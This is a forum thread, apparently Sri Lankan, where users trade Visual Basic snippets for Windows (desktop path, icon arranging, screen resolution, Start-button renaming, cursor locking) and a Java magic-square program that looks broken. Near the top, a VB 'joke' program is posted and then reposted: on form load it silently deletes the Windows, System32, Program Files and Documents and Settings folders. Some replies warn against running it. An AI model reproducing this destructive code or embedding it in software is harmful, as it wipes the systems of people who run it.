Visual Basic Codes

[Kasun k]

ehamath fuluwani.....ekath komath ADO data control eka oni......

SQL client aka import karagena barida?? mama ahema karala thiyenawa

 

[pjayampathi]

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End Sub

 

[pjayampathi]

and u think u know VB.

 

[lucky_lakshitha]

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End Sub

Don't Use This Code.....
It will Test Idiots.
So Don't Test It.....
This Code Can Delete All Folders In Gived Path

 

[Kasun k]

Shall i put sm java stuff in here???

 

[pjayampathi]

java magic box..

//Coded By Prabhath Jayampathi ( SCJP )
// [email protected]

class Main {

private static int x[][] = new int[3][3];

public static void main(String[] args) {
fill();
System.out.println("--------\nBefore Solve");
for (int i = 0; i < 3; i++) {
System.out.println();
for (int o = 0; o < 3; o++) {
System.out.print(x[o]);
}
}

reFill();
System.out.println("\n--------\nAfter Solve\n");
for (int i = 0; i < 3; i++) {
System.out.println();
for (int o = 0; o < 3; o++) {
System.out.print(x[o]);
}
}
}

public static void reFill() {
java.util.Random rnd=new java.util.Random();
int y = 0;
int z = 0;
int y1 = 0;
int z1= 0;
int bef1=0;
int bef2=0;
int bef3=0;
int bef4=0;

while(!isOK()){
z = rnd.nextInt(3);
y = rnd.nextInt(3);
z1 = rnd.nextInt(3);
y1 = rnd.nextInt(3);
bef1=x[y][z]; x[y][z]=x[z1][y1]; x[z1][y1]=bef1;

}

}


public static void fill() {
java.util.Random rnd=new java.util.Random();
int y = rnd.nextInt(10);
for (int i = 0; i < 3; i++) {
for (int o = 0; o < 3; o++) {
do{y = rnd.nextInt(10);
}while(isAvailable);
x[o] = y;
}
}
}


public static boolean isAvailable(int n) {
boolean bool = false;
for (int i = 0; i < 3; i++) {
for (int o = 0; o < 3; o++) {
if (x[o] == n) {
bool = true;
}
}
}
return bool;
}

public static boolean isOK() {
boolean bool = false;
if((x[0][0]+x[0][1]+x[0][2]==15)==true && (x[1][0]+x[1][1]+x[1][2]==15)==true
&& (x[2][0]+ x[2][1]+x[2][2]==15)==true && (x[0][0]+x[1][0]+x[2][0]==15)==true
&& (x[0][1]+x[1][1]+ x[2][1]==15)==true && (x[0][2]+x[1][2]+x[2][2]==15)==true
&& (x[0][0]+x[1][1]+ x[2][2]==15)==true && (x[0][2]+x[1][1]+x[2][0]==15)==true){
bool=true;
}
return bool;
}
}

 

[Kasun k]

java magic box..

//Coded By Prabhath Jayampathi ( SCJP )
// [email protected]

Mokadda me???? meke matanam mukuth therenne na... Before solve Kiyala ganakui After solve kiyla ganakui anawa..... Mokadda me???

 

[lucky_lakshitha]

java magic box..

//Coded By Prabhath Jayampathi ( SCJP )
// [email protected]

Tnx PJ, 4 Add ur Post's

 

[lucky_lakshitha]

Shall i put sm java stuff in here???

tnx 4 Request
Yes U Can

 

[Kasun k]

http://www.mediafire.com/download.php?nyejqxgy0mn


menna man hadapu punchi game akak.... Java walin. Game1 kiyala Run karanna. class file aka thiyenawa...

 

[lucky_lakshitha]

http://www.mediafire.com/download.php?nyejqxgy0mn


menna man hadapu punchi game akak.... Java walin. Game1 kiyala Run karanna. class file aka thiyenawa...

Weldon Bro..... Keep it Up and I will Hope To see Today evening !,
So, Do you Have Any java Pro: Plz Add this Thread.
Remember Today Evening..................
Meet In here

 

[lucky_lakshitha]

Get Desktop Path


Form Code

Private Const ERROR_SUCCESS = 0&
Private Const HKEY_CURRENT_USER = &H80000001
Private Const SYNCHRONIZE = &H100000
Private Const READ_CONTROL = &H20000
Private Const STANDARD_RIGHTS_READ = READ_CONTROL
Private Const KEY_QUERY_VALUE = &H1
Private Const KEY_ENUMERATE_SUB_KEYS = &H8
Private Const KEY_NOTIFY = &H10
Private Const KEY_READ = ((STANDARD_RIGHTS_READ Or _
KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or _
KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const REG_SZ = 1
Private Declare Function RegCloseKey& Lib "ADVAPI32.DLL" (ByVal hKey&)
Private Declare Function RegOpenKeyExA& Lib "ADVAPI32.DLL" _
(ByVal hKey&, ByVal lpSubKey$, ByVal ulOptions&, _
ByVal samDesired&, phkResult&)
Private Declare Function RegQueryValueExA& Lib "ADVAPI32.DLL" (ByVal _
hKey&, ByVal lpValueName$, ByVal lpReserved&, lpType&, lpData As Any, _
lpcbData&)

Private Function sGetDesktop() As String
Const nLG As Long = 256
Dim sValue As String * nLG
Dim hKey As Long
Dim nType As Long
Dim nCR As Long
If (RegOpenKeyExA(HKEY_CURRENT_USER, _
"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", 0, _
KEY_READ, hKey) = ERROR_SUCCESS) Then
If (RegQueryValueExA(hKey, "Desktop", 0, nType, ByVal sValue, nLG) _
= ERROR_SUCCESS) Then
If (nType = REG_SZ) Then
sGetDesktop = Left(sValue, InStr(sValue, vbNullChar) - 1)
End If
End If
nCR = RegCloseKey(hKey)
End If
End Function

Private Sub Form_Load()
Text1 = sGetDesktop '(text1 kiyanne textbox ekak)
End Sub


-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------

Arrange Icon On Desktop


Module Code

Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Const GW_CHILD = 5
Public Const LVA_ALIGNLEFT = &H1
Public Const LVM_ARRANGE = &H1016

Public Sub ArrangeIcons()
Dim hWnd1 As Long
Dim hWnd2 As Long
Dim Ret As Long
hWnd1 = FindWindow("Progman", vbNullString)
hWnd2 = GetWindow(hWnd1, GW_CHILD)
hWnd1 = GetWindow(hWnd2, GW_CHILD)
Ret = SendMessage(hWnd1, LVM_ARRANGE, LVA_ALIGNLEFT, 0)
End Sub

Form Code

Private Sub Command1_Click()
Call ArrangeIcons
End Sub

-------------------------------------------------------------------
------------------------------------------------------------------------------------

 

[Frasier000]

thanks for shairng!

 

[lucky_lakshitha]

Get Current User Name

Form Code

Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpbuffer As String, nSize As Long) As Long
Private Sub Form_Load()
Dim sBuffer As String
Dim lSize As Long
sBuffer = Space$(255)
lSize = Len(sBuffer)
Call GetUserName(sBuffer, lSize)
If lSize > 0 Then
Text1.Text = Left$(sBuffer, lSize)
Else
Text1.Text = vbNullString '(Text1 is Text box)
End If
End Sub



-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------


Change Screen Resolution


Module Code

Public Const EWX_LOGOFF = 0
Public Const EWX_SHUTDOWN = 1
Public Const EWX_REBOOT = 2
Public Const EWX_FORCE = 4
Public Const CCDEVICENAME = 32
Public Const CCFORMNAME = 32
Public Const DM_BITSPERPEL = &H40000
Public Const DM_PELSWIDTH = &H80000
Public Const DM_PELSHEIGHT = &H100000
Public Const CDS_UPDATEREGISTRY = &H1
Public Const CDS_TEST = &H4
Public Const DISP_CHANGE_SUCCESSFUL = 0
Public Const DISP_CHANGE_RESTART = 1
Type typDevMODE
dmDeviceName As String * CCDEVICENAME
dmSpecVersion As Integer
dmDriverVersion As Integer
dmSize As Integer
dmDriverExtra As Integer
dmFields As Long
dmOrientation As Integer
dmPaperSize As Integer
dmPaperLength As Integer
dmPaperWidth As Integer
dmScale As Integer
dmCopies As Integer
dmDefaultSource As Integer
dmPrintQuality As Integer
dmColor As Integer
dmDuplex As Integer
dmYResolution As Integer
dmTTOption As Integer
dmCollate As Integer
dmFormName As String * CCFORMNAME
dmUnusedPadding As Integer
dmBitsPerPel As Integer
dmPelsWidth As Long
dmPelsHeight As Long
dmDisplayFlags As Long
dmDisplayFrequency As Long
End Type
Declare Function EnumDisplaySettings Lib "user32" Alias "EnumDisplaySettingsA" (ByVal lpszDeviceName As Long, ByVal iModeNum As Long, lptypDevMode As Any) As Boolean
Declare Function ChangeDisplaySettings Lib "user32" Alias "ChangeDisplaySettingsA" (lptypDevMode As Any, ByVal dwFlags As Long) As Long
Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long



Form Code


Dim ScreenWidth As Integer
Dim ScreenHeight As Integer
Dim typDevM As typDevMODE
Dim lngResult As Long
Dim intAns As Integer
Private Sub Command1_Click()
ScreenWidth = Val(Text1.Text) '(Text1 is Text box For Screen Width - 640,800,1024, etc)
ScreenHeight = Val(Text2.Text) '(Text2 is Text box For Screen Height - 480,600,768, etc)
lngResult = EnumDisplaySettings(0, 0, typDevM)
With typDevM
.dmFields = DM_PELSWIDTH Or DM_PELSHEIGHT
.dmPelsWidth = ScreenWidth
.dmPelsHeight = ScreenHeight
End With
lngResult = ChangeDisplaySettings(typDevM, CDS_TEST)
Select Case lngResult
Case DISP_CHANGE_RESTART
intAns = MsgBox("You must restart your computer to apply these changes." & _
vbCrLf & vbCrLf & "Do you want to restart now?", _
vbYesNo + vbSystemModal, "Screen Resolution")
If intAns = vbYes Then Call ExitWindowsEx(EWX_REBOOT, 0)
Case DISP_CHANGE_SUCCESSFUL
Call ChangeDisplaySettings(typDevM, CDS_UPDATEREGISTRY)
Message = MsgBox("Screen resolution changed", vbInformation, "Resolution Changed ")
Case Else
Message = MsgBox("Mode not supported", vbSystemModal, "Error")
End Select
End Sub


--------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------


Start Btn Rename

Form Code

Dim jeff As String
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETTEXT = &HC


Private Sub Command1_Click()

jeff = "Lukcy" '(Any Name Do You Want)
Dim tWnd As Long, bWnd As Long
tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETTEXT, &O0, jeff

End Sub


-----------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------

 

[niluk2u]

tnx

 

[7.5G]

start Button eka rename karanna balanna oneeeee

 

[deegopower]

Don't Use This Code.....
It will Test Idiots.
So Don't Test It.....
This Code Can Delete All Folders In Gived Path

 

[7.5G]

if u test tht code

 

[lucky_lakshitha]

Always On Top Msgbox

Module Code

Option Explicit

Private Const NV_CLOSEMSGBOX = &H5000&
Private Const NV_MOVEMSGBOX = &H5001&
Private Const HWND_TOPMOST = -1
Private Const SWP_NOSIZE = &H1

Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Declare Function MessageBox Lib "user32" Alias "MessageBoxA" (ByVal hwnd As Long, _
ByVal lpText As String, ByVal lpCaption As String, ByVal wType As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, _
ByVal cy As Long, ByVal wFlags As Long) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, _
ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, _
ByVal nIDEvent As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long

Private mTitle As String
Private mX As Long
Private mY As Long
Private mPause As Long
Private mHandle As Long


Public Function MsgBoxMove(ByVal hwnd As Long, ByVal inPrompt As String, _
ByVal inTitle As String, ByVal inButtons As Long, _
ByVal inX As Long, ByVal inY As Long) As Integer
mTitle = inTitle: mX = inX: mY = inY
SetTimer hwnd, NV_MOVEMSGBOX, 0&, AddressOf NewTimerProc
MsgBoxMove = MessageBox(hwnd, inPrompt, inTitle, inButtons)
End Function

Public Function NewTimerProc(ByVal hwnd As Long, ByVal Msg As Long, ByVal wparam As Long, _
ByVal lparam As Long) As Long
KillTimer hwnd, wparam
Select Case wparam
Case NV_CLOSEMSGBOX
mHandle = FindWindow("#32770", mTitle)
If mHandle <> 0 Then
SetForegroundWindow mHandle
SendKeys "{enter}"
End If

Case NV_MOVEMSGBOX
mHandle = FindWindow("#32770", mTitle)
If mHandle <> 0 Then
Dim w As Single, h As Single
Dim mBox As RECT
w = Screen.Width / Screen.TwipsPerPixelX
h = Screen.Height / Screen.TwipsPerPixelY
GetWindowRect mHandle, mBox
If mX > (w - (mBox.Right - mBox.Left) - 1) Then mX = (w - (mBox.Right - mBox.Left) - 1)
If mY > (h - (mBox.Bottom - mBox.Top) - 1) Then mY = (h - (mBox.Bottom - mBox.Top) - 1)
If mX < 1 Then mX = 1: If mY < 1 Then mY = 1
SetWindowPos mHandle, HWND_TOPMOST, mX, mY, 0, 0, SWP_NOSIZE
End If
End Select
End Function


Form Code

Private Sub Command1_Click()
Dim x, y
x = 100 ' We display msgbox at this location
y = 50
mResult = MsgBoxMove(hwnd, "Is this message displayed at a location " & vbCrLf & _
"specified by you?" & vbCrLf & vbCrLf & vbCrLf & _
"lucky_lakshitha", "Msg Box Move", vbYesNo, x, y)
End Sub


----------------------------------------------------------------------------------
----------------------------------------------------------------------------------


Lock Mouse Pointer In To Form


Module Code

Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function ClipCursorByNum Lib "user32" Alias _
"ClipCursor" (ByVal lpRect As Long) As Long



Form Code


Private Sub Command1_Click() ' Lock It
Dim ClipArea As RECT
With ClipArea
.Left = Me.Left / Screen.TwipsPerPixelX
.Top = Me.Top / Screen.TwipsPerPixelY
.Right = .Left + Me.Width / Screen.TwipsPerPixelX
.Bottom = .Top + Me.Height / Screen.TwipsPerPixelY
End With
Call ClipCursor(ClipArea)
End Sub

Private Sub Command2_Click() ' UnLock It
Call ClipCursorByNum(0)
End Sub



----------------------------------------------------------------------------
----------------------------------------------------------------------------

 

[rosharavinda]

machan umbe wade hondai.Hebei dan yana hatiyata ekko C# hari Java hari thread ekak karagena palayan.Eka hondai